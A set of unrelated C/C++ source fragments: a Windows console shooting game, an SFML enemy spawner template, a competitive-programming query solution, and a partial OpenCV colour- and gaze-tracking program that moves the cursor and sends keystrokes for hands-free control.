DWORD num_read;
if (!ReadConsoleOutputCharacter(hStd, (LPTSTR)buf, 1, c, (LPDWORD)&num_read))
return '\0';
else
return buf[0];
}
void setcolor(int bg, int fg) {
//bg background , fg foreground สีตัวอักษร
HANDLE color = GetStdHandle(STD_OUTPUT_HANDLE); //color = output
SetConsoleTextAttribute(color, bg * 16 + fg); //(output ,เป็นอะไร)
}
void draw(int x, int y) {
COORD xy = { x,y };
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), xy);
printf(" <-0-> ");
}
void drawPoint(int point) {
setcolor(10,16);
int x = 100, y = 0;
COORD xy = { x,y };
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), xy);
printf("LastHighScore = %d",point);
}
void drawAmmo(int x, int y)
{
COORD xy = { x,y };
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), xy);
printf("O");
}
void deleteXY(int x, int y) {
COORD xy = { x,y };
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), xy);
printf(" ");
}
void deleteX(int x, int y) {
COORD xy = { x,y };
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), xy);
printf(" ");
}
void deletecolor(int bg, int fg) {
bg = 0, fg = 0;
HANDLE color = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(color, bg * 16 + fg);
}
void setcursor(bool visible) {
//cusur หายไป
HANDLE console = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO Ipcursur;
Ipcursur.bVisible = visible;
Ipcursur.dwSize = 20;
SetConsoleCursorInfo(console, &Ipcursur);
}
void auto_left(int x, int y)
{
setcolor(6, 4);
draw(x, y);
Sleep(100);
deletecolor(0, 0);
deleteXY(x, y);
}
void auto_right(int x, int y)
{
setcolor(6, 4);
draw(x, y);
deletecolor(0, 0);
deleteXY(x + 8, y);
Sleep(100);
deletecolor(0, 0);
deleteXY(x, y);
}
void Ammo(int x, int i)
{
setcolor(5, 3);
drawAmmo(x, i);
cursor(x,i);
deletecolor(0, 0);
deleteX(x, i+1);
}
void blackAmmo(int x, int i)
{
setcolor(0, 0);
drawAmmo(x, i);
cursor(x, i);
}
void drawEnermy(int x, int y) {
setcolor(9, 15);
COORD xy = { x,y };
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), xy);
printf("*");
cursor(x, y);
}
void spawEnermy()
{
int i, x1 = 71, y1 = 6, x, y;
srand(time(NULL));
for (i = 1; i <= 3; i++)
{
x = rand() % x1;
y = rand() % y1;
drawEnermy(x + 10, y + 2);
}
}
void enermy()
{
int i, x1 = 71, y1 = 6, x, y;
srand(time(NULL));
for (i = 1; i <= 100; i++)
{
x = rand() % x1;
y = rand() % y1;
drawEnermy(x + 10, y + 2);
}
}
void MoveAmmo(int x, int y, int i,int p)
{
int j;
char m = ' ';
for ( j = 1; j <= 5; j++)
{
Beep(700, 100);
for (i = y; i >= 0; i--)
{
Ammo(x + 3, i - 2);
cursor(x + 3, i - 2);
deleteXY(x + 2, y);
auto_left(x, y);
if (cursor(x + 3, i - 3) == '*')
{
Beep(700, 100);
blackAmmo(x + 3, i - 3);
blackAmmo(x + 3, i - 2);
p = p + 1;
drawPoint(p);
break;
}
if (_kbhit()) {
m = _getch(); if (m == 's') { blackAmmo(x + 3, i - 2); break; }
else { blackAmmo(x + 3, i - 2); break; }
}
}
}
spawEnermy();
}
void Ship()
{
setcursor(0);
int x = 20, y = 20, i = y;
setcolor(6, 4);
draw(x, y);
char m = ' ';
enermy();
int p = 0;
drawPoint(p);
do
{
if (_kbhit)
{
m = _getch();
if (m == 'a') {
for (x; x >= 0; x--)
{
auto_left(x, y);
if (x == 0)
{
setcolor(6, 4);
draw(x, y);
}
if (_kbhit())
{
m = _getch();
if (m == 's') { setcolor(6, 4); draw(x, y); break; }
else if (m == ' ')
{
MoveAmmo(x, y, i,p);
}
if (x == 0)
{
setcolor(6, 4);
draw(x, y);
}
}
}
}
else if (m == 'd')
{
for (x; x <= 80; x++)
{
auto_right(x, y);
if (x == 80)
{
setcolor(6, 4);
draw(x + 1, y);
}
if (_kbhit())
{
m = _getch();
if (m == 's')
{
setcolor(6, 4); draw(x, y); break;
}
else if (m == ' ')
{
MoveAmmo(x, y, i,p);
if (x == 80)
{
setcolor(6, 4);
draw(x, y);
}
}
}
}
}
else if (m == ' ')
{
Beep(700, 100);
MoveAmmo(x, y, i,p);
setcolor(6, 4);
draw(x, y);
}
}
} while (m != 'x');
}
int main() {
Ship();
//drawEnermy(20,5);
//enermy();
}
|
#pragma once
#include "MovableObject.h"
class Spawner
{
public:
virtual ~Spawner() {};
virtual Enemy* spawnObject(sf::Vector2f pos) = 0;
virtual Enemy* spawnObject(float x, float y) = 0;
};
template <class T>
class SpawnerFor : public Spawner
{
public:
virtual Enemy* spawnObject(sf::Vector2f pos) { return new T(pos); }
virtual Enemy* spawnObject(float x, float y) { return new T(x, y); }
};
|
#include <bits/stdc++.h>
using namespace std;
#define MOD 1000000007
#define rep(i, n) for(int i = 0; i < (int)(n); i++)
#define rep1(i, n) for(int i = 1; i <= (int)(n); i++)
#define showmap(is, js, x) {rep(i, is){rep(j, js){cout << x[i][j] << " ";}cout << endl;}}
#define show(x) {for(auto i: x){cout << i << " ";} cout<<endl;}
#define showm(m) {for(auto i: m){cout << m.x << " ";} cout<<endl;}
typedef long long ll;
typedef pair<int, int> P;
typedef pair<ll, ll> llP;
ll gcd(int x, int y){ return y?gcd(y, x%y):x;}
ll lcm(ll x, ll y){ return (x*y)/gcd(x,y);}
int main()
{
int a, b, q;
cin >> a >> b >> q;
vector<ll> s(a);
vector<ll> t(b);
vector<ll> x(q);
rep(i, a) cin >> s[i];
rep(i, b) cin >> t[i];
rep(i, q) cin >> x[i];
rep(i, q){
int sitr = lower_bound(s.begin(), s.end(), x[i]) - s.begin();
int titr = lower_bound(t.begin(), t.end(), x[i]) - t.begin();
ll len = (ll)1e12;
// =>=>
if (sitr != a && titr != b) len = min(len, max(abs(x[i]-s[sitr]), abs(x[i]-t[titr])));
// <=<=
if (sitr != 0 && titr != 0) len = min(len, max(abs(x[i]-s[sitr-1]), abs(x[i]-t[titr-1])));
//
if (sitr != 0 && titr != b) {
ll tlen = min(abs(x[i]-s[sitr-1]), abs(x[i]-t[titr]));
len = min(len, tlen + abs(s[sitr-1] - t[titr]));
}
if (sitr != a && titr != 0) {
ll tlen = min(abs(x[i]-s[sitr]), abs(x[i]-t[titr-1]));
len = min(len, tlen + abs(s[sitr] - t[titr-1]));
}
cout << len << endl;
}
}
|
#define WINVER 0x0500
#define WM_HOTKEY 0x0312
#define WM_GETHOTKEY 0x0033
#define WM_SETHOTKEY 0x0032
#define SCROLLUP 120
#define SCROLLDOWN -120
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <Winuser.h>
#define WINWORD_H_
#include <string.h>
#include <stdlib.h>
#include <iostream>
#include <time.h>
//#include "SerialClass.h" // Library described above
#include <opencv2/core/core.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <opencv2/video/tracking.hpp>
using namespace cv;
using namespace std;
//initial min and max HSV filter values.
//these will be changed using trackbars
HWND window;
RECT rect;
int H_MIN = 0;
int H_MAX = 17;
int S_MIN = 79;
int S_MAX = 256;
int V_MIN = 30;
int V_MAX = 256;
int DilateV = 3;
int ErodeV = 7;
int R = 40;
int G = 255;
int B = 26;
int camI = 0;
bool Sstop = false;
//default capture width and height
const int FRAME_WIDTH = 640; // this is the camera viode size
const int FRAME_HEIGHT = 480;
const int Mouse_Speed_UD = 7; //mouse moving speed up and down
const int Mouse_Speed_LR = 7; //mouse moving speed left and right
const double SCREEN_WIDTH = 1360; // this is the dispaly resolution
const double SCREEN_HEIGHT = 728;
const double X_RANGE = 200; //smaller value gives a faster change
const double Y_RANGE = 1;
const double RESOLUTION_X = 1366;
const double RESOLUTION_Y = 768;
const double CTRL_X = 1000;
const double CTRL_Y = 80;
bool changeY = false; //this is to set if need to track y position
// the string can be changed for control instruction
string command1 = "LEFT";
string command2 = "UP";
string command3 = "DOWN";
string command4 = "Right";
string command5 = "Click";
string command6 = "";
//max number of objects to be detected in frame
const int MAX_NUM_OBJECTS = 20; //make sure no noise to interupt
//minimum and maximum object area
const int MIN_OBJECT_AREA = 5 * 5; //no need
const int MAX_OBJECT_AREA = FRAME_HEIGHT*FRAME_WIDTH / 1.5; //no need
//names that will appear at the top of each window
const string windowName = "Original Image";
const string windowName2 = "Thresholded Image";
const string windowName3 = "After Morphological Operations";
const string trackbarWindowName = "Trackbars";
const string windowName4 = "Cursor Control Panel";
bool objectFound = false; // if is tracking the object
bool cali = true; // true when need to calibtaion
bool clickOne = true;
HWND hwnd1, hwnd2, hwnd3;
int x_min, x_max, y_min, y_max, x_min1, x_max1, y_min1, y_max1, x_o, y_o;
int x_1, x_2, y_1, y_2;
double Spacex_1, Spacex_2, Spacex_3, Spacey_1, Spacey_2;
int x_screen, y_screen; // real coordinate in screen
int x_screen1, y_screen1; // coordinate for control panel
int stop = 0; // to count the time to shut down system automatically
int userOpt, methodOpt; // option for operation mode
int cursor_x = 683, cursor_y = 384;
//Gesture Control Para
int upS = 20, downS = 10, leftS = 30, rightS = 25;
int mX, mY;
int oX = -1;
int oY = -1;
bool oValueSet = false;
double dx = 0, dy = 0;
POINT p;
Mat cameraFeed;
//vairables for meanshift tracking
bool selectObject = false;
int trackObject = 0;
bool showHist = true;
Point origin;
Rect selection;
Mat frame, hsv, hue, hist, histimg = Mat::zeros(200, 320, CV_8UC3), backproj;
Rect trackWindow;
static bool start_timeg0 = true;
static clock_t startg0;
static double durationg0;
static bool start_timeg1 = true;
static clock_t startg1;
static double durationg1;
static bool start_timeg2 = true;
static clock_t startg2;
static double durationg2;
static bool start_timeg3 = true;
static clock_t startg3;
static double durationg3;
static bool start_timeg4 = true;
static clock_t startg4;
static double durationg4;
static bool mouse1on = false, mouse2on = false, mouse3on = false, mouse4on = false;
int n = 100, ia = 0;
int rnum[100] = { 0 }, cnum[100] = { 0 }, sum = 0, raverage, caverage;
bool MouseOn1 = false;
int dsc0 = 200, dsc1 = 200, dsc2 = 200, dsc3 = 200, dsc4 = 200;
void pressKeyCtrl(char mK)
{
//creat a generic key board structure
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
//while(1)
//for (int i=1; i<2; ++i)
{
//press "Ctrl"
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
//press "+"
ip.ki.wVk = VK_ADD;
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
//release "+"
ip.ki.wVk = VK_ADD;
ip.ki.dwFlags = KEYEVENTF_KEYUP; // '+' key release
SendInput(1, &ip, sizeof(INPUT));
//release "Ctrl"
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = KEYEVENTF_KEYUP; // 'Ctrl' key release
SendInput(1, &ip, sizeof(INPUT));
Sleep(1000);
}
}
void pressKeyCtrlm(char mK)
{
//creat a generic key board structure
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
//while(1)
//for (int i=1; i<2; ++i)
{
//press "Ctrl"
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
//press "-"
ip.ki.wVk = VK_SUBTRACT;
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
//release "-"
ip.ki.wVk = VK_SUBTRACT;
ip.ki.dwFlags = KEYEVENTF_KEYUP; // '+' key release
SendInput(1, &ip, sizeof(INPUT));
//release "Ctrl"
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = KEYEVENTF_KEYUP; // 'Ctrl' key release
SendInput(1, &ip, sizeof(INPUT));
//Sleep(1000);
}
}
void pressKeyB(char mK)
{
HKL kbl = GetKeyboardLayout(0);
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.time = 0;
ip.ki.dwFlags = KEYEVENTF_UNICODE;
if ((int)mK<65 && (int)mK>90) //for lowercase
{
ip.ki.wScan = 0;
ip.ki.wVk = VkKeyScanEx(mK, kbl);
}
else //for uppercase
{
ip.ki.wScan = mK;
ip.ki.wVk = 0;
}
ip.ki.dwExtraInfo = 0;
SendInput(1, &ip, sizeof(INPUT));
}
void pressEnter()
{
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.time = 0;
ip.ki.dwFlags = KEYEVENTF_UNICODE;
ip.ki.wScan = VK_RETURN; //VK_RETURN is the code of Return key
ip.ki.wVk = 0;
ip.ki.dwExtraInfo = 0;
SendInput(1, &ip, sizeof(INPUT));
}
void SetCursorSize(const int iSize = 0)
{
HANDLE cxHandle;
cxHandle = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cci;
cci.dwSize = iSize;
cci.bVisible = true;
SetConsoleCursorInfo(cxHandle, &cci);
}//End SetCursorSize
void endtime()
{
SetCursorPos(mX, mY);
start_timeg1 = true;
durationg1 = 0;
}
void on_trackbar(int, void*)
{//This function gets called whenever a
// trackbar position is changed
}
string intToString(int number) {
std::stringstream ss;
ss << number;
return ss.str();
}
//functions:
//to create the control HSV bar
void createTrackbars() {
//create window for trackbars
namedWindow(trackbarWindowName, 0);
//create memory to store trackbar name on window
char TrackbarName[50];
sprintf_s(TrackbarName, "MIN", H_MIN);
sprintf_s(TrackbarName, "MAX", H_MAX);
sprintf_s(TrackbarName, "S_MIN", S_MIN);
sprintf_s(TrackbarName, "S_MAX", S_MAX);
sprintf_s(TrackbarName, "V_MIN", V_MIN);
sprintf_s(TrackbarName, "Dilate", DilateV);
sprintf_s(TrackbarName, "Erode", ErodeV);
sprintf_s(TrackbarName, "R", R);
sprintf_s(TrackbarName, "G", G);
sprintf_s(TrackbarName, "B", B);
sprintf_s(TrackbarName, "If show cam img", camI);
//create trackbars and insert them into window
//3 parameters are: the address of the variable that is changing when the trackbar is moved(eg.H_LOW),
//the max value the trackbar can move (eg. H_HIGH),
//and the function that is called whenever the trackbar is moved(eg. on_trackbar)
// ----> ----> ---->
createTrackbar("MIN", trackbarWindowName, &H_MIN, 255, on_trackbar);
createTrackbar("MAX", trackbarWindowName, &H_MAX, 255, on_trackbar);
createTrackbar("S_MIN", trackbarWindowName, &S_MIN, 255, on_trackbar);
createTrackbar("S_MAX", trackbarWindowName, &S_MAX, 256, on_trackbar);
createTrackbar("V_MIN", trackbarWindowName, &V_MIN, 256, on_trackbar);
createTrackbar("V_MAX", trackbarWindowName, &V_MAX, 256, on_trackbar);
createTrackbar("Dilate", trackbarWindowName, &DilateV, 10, on_trackbar);
createTrackbar("Erode", trackbarWindowName, &ErodeV, 10, on_trackbar);
createTrackbar("R Value", trackbarWindowName, &R, 255, on_trackbar);
createTrackbar("G Value", trackbarWindowName, &G, 255, on_trackbar);
createTrackbar("B Value", trackbarWindowName, &B, 255, on_trackbar);
createTrackbar("Show img", trackbarWindowName, &camI, 1, on_trackbar);
}
//to draw ROI
void drawObject(int x, int y, Mat &frame) {
//use some of the openCV drawing functions to draw crosshairs
//on your tracked image!
//added 'if' and 'else' statements to prevent
//memory errors from writing off the screen (ie. (-25,-25) is not within the window!)
circle(frame, Point(x, y), 20, Scalar(0, 0, 255), 2);
if (y - 25>0)
line(frame, Point(x, y), Point(x, y - 25), Scalar(0, 0, 255), 2);
else line(frame, Point(x, y), Point(x, 0), Scalar(0, 0, 255), 2);
if (y + 25<FRAME_HEIGHT)
line(frame, Point(x, y), Point(x, y + 25), Scalar(0, 0, 255), 2);
else line(frame, Point(x, y), Point(x, FRAME_HEIGHT), Scalar(0, 0, 255), 2);
if (x - 25>0)
line(frame, Point(x, y), Point(x - 25, y), Scalar(0, 0, 255), 2);
else line(frame, Point(x, y), Point(0, y), Scalar(0, 0, 255), 2);
if (x + 25<FRAME_WIDTH)
line(frame, Point(x, y), Point(x + 25, y), Scalar(0, 0, 255), 2);
else line(frame, Point(x, y), Point(FRAME_WIDTH, y), Scalar(0, 0, 255), 2);
putText(frame, intToString(x) + "," + intToString(y), Point(x, y + 30), 1, 1, Scalar(0, 0, 255), 2);
}
//doing morphOps to the roi
void morphOps(Mat &thresh) {
/*
Erode and Dialate:
para1: shape: MORPH_RECT MORPH_CROSS MORPH_ELLIPSE
*/
//create structuring element that will be used to "dilate" and "erode" image.
//the element chosen here is a 3px by 3px rectangle
Mat erodeElement = getStructuringElement(MORPH_ELLIPSE, Size(ErodeV, ErodeV));
//dilate with larger element so make sure object is nicely visible
Mat dilateElement = getStructuringElement(MORPH_ELLIPSE, Size(DilateV, DilateV));
erode(thresh, thresh, erodeElement);
erode(thresh, thresh, erodeElement);
dilate(thresh, thresh, dilateElement);
dilate(thresh, thresh, dilateElement);
}
//do the tracking things
void trackFilteredObject(int &x, int &y, Mat threshold, Mat &cameraFeed, Mat & wholePanel) {
Mat temp;
threshold.copyTo(temp);
//these two vectors needed for output of findContours
vector< vector<Point> > contours;
vector<Vec4i> hierarchy;
//find contours of filtered image using openCV findContours function
findContours(temp, contours, hierarchy, CV_RETR_CCOMP, CV_CHAIN_APPROX_SIMPLE);
//use moments method to find our filtered object
double refArea = 0;
//bool objectFound = false;
if (hierarchy.size() > 0) {
int numObjects = hierarchy.size();
//if number of objects greater than MAX_NUM_OBJECTS we have a noisy filter
if (numObjects<MAX_NUM_OBJECTS) {
for (int index = 0; index >= 0; index = hierarchy[index][0]) {
Moments moment = moments((cv::Mat)contours[index]);
double area = moment.m00;
//if the area is less than 20 px by 20px th
//en it is probably just noise
//if the area is the same as the 3/2 of the image size, probably just a bad filter
//we only want the object with the largest area so we safe a reference area each
//iteration and compare it to the area in the next iteration.
if (area>MIN_OBJECT_AREA && area<MAX_OBJECT_AREA && area>refArea) { //MAKE SURE IS TRACKING CORRECTLY
x = moment.m10 / area;
y = moment.m01 / area;
objectFound = true;
refArea = area;
if (x >= 1280 || y >= 720) //need to change according to camera size
objectFound = false;
}
else objectFound = false;
}
//let user know you found an object
if (objectFound == true) {
putText(wholePanel, "Tracking Mode", Point(80, 980), 2, 1, Scalar(160, 210, 60), 2);
//draw object location on screen
// drawObject(x, y, cameraFeed);
}
}
else putText(wholePanel, "PLEASE ADJUST FILTER", Point(80, 980), 2, 1, Scalar(0, 0, 255), 2);
}
}
// this function is to create a green window for main panel
void createPanel(Mat &panel, int height, int weight) {
//rectangle(panel, Point(0, 0), Point(height, weight), Scalar(B, G, R), CV_FILLED, 8);
for (int n = 0; n < 5; n++) {
//rectangle(output, Point(130 + n * 100, 50), Point(230 + n * 100, 90), Scalar(55, 55, 55), 1, 18);
rectangle(panel, Point(n * 270, 0), Point(n * 270, 80), Scalar(200, 200, 200), 2, 18);
}
//0 270 540 810 1080 1350
putText(panel, command1, Point(110, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(panel, command2, Point(380, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(panel, command3, Point(650, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(panel, command4, Point(920, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(panel, command5, Point(1190, 40), 2, 1, Scalar(0, 0, 255), 2);
}
int controlGesture1(int x, int y, Mat &camera) {
HCURSOR WINAPI GetCursor(void);
//putText(camera, "Controlling", Point(80, 900), 2, 1, Scalar(160, 210, 60), 2);
char strx[20] = { 0 };
HWND window;
RECT rect;
POINT pt;
window = GetForegroundWindow();
GetCursorPos(&p);
mX = p.x;
mY = p.y;
//ScreenToClient(window, &p);
rectangle(camera, Point(mX - 220, mY - 30), Point(mX - 20, mY + 30), Scalar(255, 400, 255), 1, 18); //x-axies width
rectangle(camera, Point(mX - 90, mY - 130), Point(mX - 150, mY + 130), Scalar(255, 400, 255), 1, 18); //y-axies width +-30 for x-axis
int cX = x;
int cY = y;
n = 20;
int sum = 0;
ia = 0;
sum = 0;
rnum[1] = x;
for (int k = 100; k > ia; k--) {
rnum[k] = rnum[k - 1];
}
for (ia = 0; ia < n; ++ia)
{
sum += rnum[ia];
}
raverage = sum / n;
sum = 0;
ia = 0;
cnum[1] = y;
for (int k = 100; k > ia; k--) {
cnum[k] = cnum[k - 1];
}
for (ia = 0; ia < n; ++ia)
{
sum += cnum[ia];
}
caverage = sum / n;
int ddx = mX - x - 460;
int ddy = mY - y;
int dd = 120;
// start of mouse focus zone
if (abs(ddx)<dd && abs(ddy) <dd) {
if (start_timeg0) {
startg0 = clock();
start_timeg0 = false;
}
durationg0 = (double)((clock() - startg0) / CLOCKS_PER_SEC);
if (durationg0>1)
{
static HCURSOR hCursorWE;
static HCURSOR hCursorNS;
//The value is set here (in the handle for WM_CREATE):
hCursorWE = LoadCursor(NULL, IDC_HAND);
hCursorNS = LoadCursor(NULL, IDC_SIZENS);
//if (abs(ddx)>abs(ddy))
//SetCursor(hCursorWE);
//else if (abs(ddx)<=abs(ddy))
//SetCursor(hCursorNS);
SetCursor(hCursorWE);
//pressKeyB('v');
// endtime;
start_timeg0 = true;
durationg0 = 0;
MouseOn1 = false;
dsc0 = 100;
}
} // end of mouse focus zone
// mouse move action
MouseOn1 = false;
if (MouseOn1 == true && mX >460 && mX <1680 && mY > 200 && mY <1050)
{
int nn = 1;
if (ddx>dd && ddx<2.5*dd && abs(ddy)<dd) {
rectangle(camera, Point(mX - 120, mY - 30), Point(mX, mY + 30), Scalar(255, dsc1, 255), 1, 18);
if (start_timeg1) {
startg1 = clock();
start_timeg1 = false;
}
durationg1 = (double)((clock() - startg1) / CLOCKS_PER_SEC);
if (durationg1 >1) {
mouse1on = true;
for (ia = 0; ia < nn; ++ia) {
mX = mX - Mouse_Speed_LR;
}
dsc1 = 100;
SetCursorPos(mX, mY);
}
}
else if (ddx > -2.5*dd && ddx<-dd && abs(ddy)<dd) {
rectangle(camera, Point(mX - 240, mY - 30), Point(mX - 120, mY + 30), Scalar(255, dsc1, 255), 1, 18);
if (start_timeg2) {
startg2 = clock();
start_timeg2 = false;
}
durationg2 = (double)((clock() - startg2) / CLOCKS_PER_SEC);
if (durationg2 >1) {
for (ia = 0; ia < nn; ++ia)
mX = mX + Mouse_Speed_LR;
dsc2 = 100;
SetCursorPos(mX, mY);
}
}
else if (ddy>dd && ddy < 2.5*dd && abs(ddx)<dd) {
rectangle(camera, Point(mX - 180, mY - 100), Point(mX - 60, mY), Scalar(255, dsc3, 255), 1, 18); //y-axies
if (start_timeg3) {
startg3 = clock();
start_timeg3 = false;
}
durationg3 = (double)((clock() - startg3) / CLOCKS_PER_SEC);
if (durationg3 >1) {
for (ia = 0; ia < nn; ++ia)
mY = mY - Mouse_Speed_UD;
dsc3 = 100;
SetCursorPos(mX, mY);
}
}
else if (ddy > -2.5*dd && ddy<-dd && abs(ddx)<dd) {
if (start_timeg4) {
rectangle(camera, Point(mX - 180, mY), Point(mX - 60, mY + 100), Scalar(255, dsc4, 255), 1, 18); //y-axies
startg4 = clock();
start_timeg4 = false;
}
durationg4 = (double)((clock() - startg4) / CLOCKS_PER_SEC);
if (durationg4 >1) {
for (ia = 0; ia < nn; ++ia)
mY = mY + Mouse_Speed_UD;
dsc4 = 100;
SetCursorPos(mX, mY);
}
}
if (mouse1on = true && 2 * dd<ddx && ddx<dd)
{
start_timeg1 = true;
durationg1 = 0;
mouse1on = false;
}
else if (mouse2on = true && -2 * dd>ddx && ddx>-dd)
{
start_timeg2 = true;
durationg2 = 0;
mouse2on = false;
}
else if (mouse3on = true && 2 * dd<ddy && ddy<dd)
{
start_timeg3 = true;
durationg3 = 0;
mouse3on = false;
}
else if (mouse4on = true && -2 * dd>ddy && ddy>-dd)
{
start_timeg4 = true;
durationg4 = 0;
mouse4on = false;
}
} //end of mouse move action
int xxd = mX - 460 - raverage, yyd = mY - caverage;
sprintf_s(strx, "%d", xxd);
cout << strx;
//putText(camera, strx , Point(x,y),cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100,255,dsc1), 5, 8);
sprintf_s(strx, "%d", (yyd));
cout << strx;
//putText(camera, strx , Point(x+200, y),cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100,255,dsc1), 5, 8);
//sprintf_s(strx, "%d",xxd);
//cout <<strx;
//putText(camera, strx , Point(x, y+100),cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100,255,dsc), 5, 8);
//sprintf_s(strx, "%d",(yyd));
//cout <<strx;
//putText(camera, strx , Point(x+200, y+100),cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100,255,dsc), 5, 8);
if (durationg1 >10000000)
{
sprintf_s(strx, "%d", x);
cout << strx;
putText(camera, strx, Point(480, 1000), cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100, 255, 100), 5, 8);
sprintf_s(strx, "%d", (y));
cout << strx;
putText(camera, strx, Point(680, 1000), cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100, 255, 100), 5, 8);
sprintf_s(strx, "%d", (mX));
cout << strx;
putText(camera, strx, Point(480, 800), cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100, 255, 100), 5, 8);
sprintf_s(strx, "%d", (mY));
cout << strx;
putText(camera, strx, Point(680, 800), cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100, 255, 100), 5, 8);
}
return 0;
}
// selection for control panel gesture contrl
// selection for control panel coordinates
int control(int xt, int x, int y, Mat &camera) {
putText(camera, "Controlling", Point(80, 650), 2, 1, Scalar(160, 210, 60), 2);
GetCursorPos(&p);
char strx[20] = { 0 };
sprintf_s(strx, "%d", p.x);
//cout << strx;
putText(camera, strx, Point(80, 690), cv::FONT_HERSHEY_SIMPLEX, 1.5, Scalar(100, 255, 100), 5, 8);
int diff = xt - 320;
cout << diff << endl;
if (diff < -130)
{
return 1;
}
else if (diff >= -130 && diff <= -50)
{
return 2;
}
else if (diff > -50 && diff < 50)
{
return 3;
}
else if (diff >= 38 && diff <= 108)
{
return 4;
}
else if (diff > 108)
{
return 5;
}
else
return 0;
//if (y < 500){
/*
if (x < 200)
{
return 1;
}
else if (x > 200 && x < 400)
{
return 2;
}
else if (x > 400 && x < 600)
{
return 3;
}
else if (x > 600 && x < 800)
{
return 4;
}
//else if (x > 0 && x < 1000)
else if (x > 600)
{
return 5;
}
else
return 0;*/
//}
//else if ( y >500)
// return 0;
// else
//return 0;
}
char controlC(int x, int y, Mat &camera) {
putText(camera, "Controlling", Point(80, 650), 2, 1, Scalar(160, 210, 60), 2);
if (y < 500) {
if (x > 0 && x < 200) //left
{
return '1';
}
else if (x > 0 && x < 400) //forward
{
return '2';
}
else if (x > 0 && x < 600) //backward
{
return'3';
}
else if (x > 0 && x < 800) //right
{
return '4';
}
else
return '5'; //stop
}
else
return '5'; //stop
}
// doing eye stare calibration
void calibration(int x, int y, Mat &cameraFeed, double duration, Mat &rcameraFeed) {
putText(cameraFeed, "Calibration:", Point(80, 650), 4, 1, Scalar(0, 0, 255), 2);
putText(rcameraFeed, "C", Point(550, 50), 5, 2, Scalar(0, 0, 255),3);
if (duration < 1)
{
putText(cameraFeed, "Please stare at the center:", Point(80, 690), FONT_HERSHEY_PLAIN, 3, Scalar(0, 0, 255), 2);
x_o = x;
y_o = y;
}
else if (duration < 3 && objectFound == true)
{
//dx = SCREEN_WIDTH / 2 - x_screen;
//dy = SCREEN_HEIGHT / 2 - y_screen;
x_screen = (x - x_o) / X_RANGE*(RESOLUTION_X / 2) + SCREEN_WIDTH / 2 + dx;
y_screen = (y - y_o) / Y_RANGE*(RESOLUTION_Y / 2) + SCREEN_HEIGHT / 2 + dy;
}
}
//screensize is used to calculate the x,y coordinate in real screen display
void screensize(int & x_screen, int & y_screen, int x, int y) {
x_screen = (x - x_o) / X_RANGE*(RESOLUTION_X / 2) + SCREEN_WIDTH / 2 + dx;
y_screen = (y - y_o) / X_RANGE*(RESOLUTION_Y / 2) + SCREEN_HEIGHT / 2 + dy;
}
//control box program is used to divide the control panel into num region
void controlbox(Mat &output, int num) {
//rectangle(output, Point(130, 0), Point(CTRL_X+130, CTRL_Y), Scalar(0, 0, 0), CV_FILLED, 8);
//rectangle(output, Point(130, CTRL_Y/2), Point(CTRL_X+130, CTRL_Y), Scalar(0, 0, 0), CV_FILLED, 8);
int num1 = 12;
for (int n = 0; n < num1; n++) {
//line(output, Point(n*CTRL_X / num1+130, 0), Point(n*CTRL_X / num1+130, CTRL_Y), Scalar(0, 0, 255));
rectangle(output, Point(130 + n * 100, 50), Point(230 + n * 100, 90), Scalar(55, 55, 55), 1, 18);
rectangle(output, Point(130 + n * 100, 10), Point(230 + n * 100, 50), Scalar(55, 55, 55), 1, 18);
}
putText(output, command1, Point(200, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(output, command2, Point(400, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(output, command3, Point(600, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(output, command4, Point(800, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(output, command5, Point(1000, 40), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "Z+", Point(160, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "Z-", Point(260, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "R+", Point(360, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "R-", Point(460, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "Ex", Point(560, 80), 2, 1, Scalar(0, 0, 255), 2);
putText(output, "a", Point(860, 80), 2, 1, Scalar(0, 0, 255), 2);
